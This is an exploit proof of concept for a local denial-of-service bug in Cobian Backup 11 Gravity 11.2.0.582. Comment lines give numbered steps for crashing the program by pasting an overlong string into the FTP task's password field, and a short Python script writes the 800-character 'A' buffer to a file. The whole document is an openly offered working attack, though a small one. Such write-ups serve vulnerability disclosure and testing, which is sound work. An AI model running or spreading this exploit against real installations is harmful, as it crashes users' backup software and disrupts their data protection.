# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)# Discovery by: Luis Martinez# Discovery Date: 2022-02-16# Vendor Homepage: https://www.cobiansoft.com/# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe# Tested Version: 11.2.0.582# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 10 Pro x64 es# Steps to Produce the Crash:# 1.- Run python code: Cobian_Backup_11.2.0.582.py# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard# 3.- Open "Cobian Backup 11 Gravity User Interface"# 4.- Task -> "New task"# 5.- File -> Source "Add" -> FTP# 6.- Host -> 10.10.10.10# 7.- Port-> 21# 8.- User name -> admin# 9.- Paste ClipBoard on "Password"# 10.- Ok# 11.- Crashed#!/usr/bin/env python
buffer = "\x41"* 800
f = open ("Cobian_Backup_11.2.0.582.txt","w")
f.write(buffer)
f.close()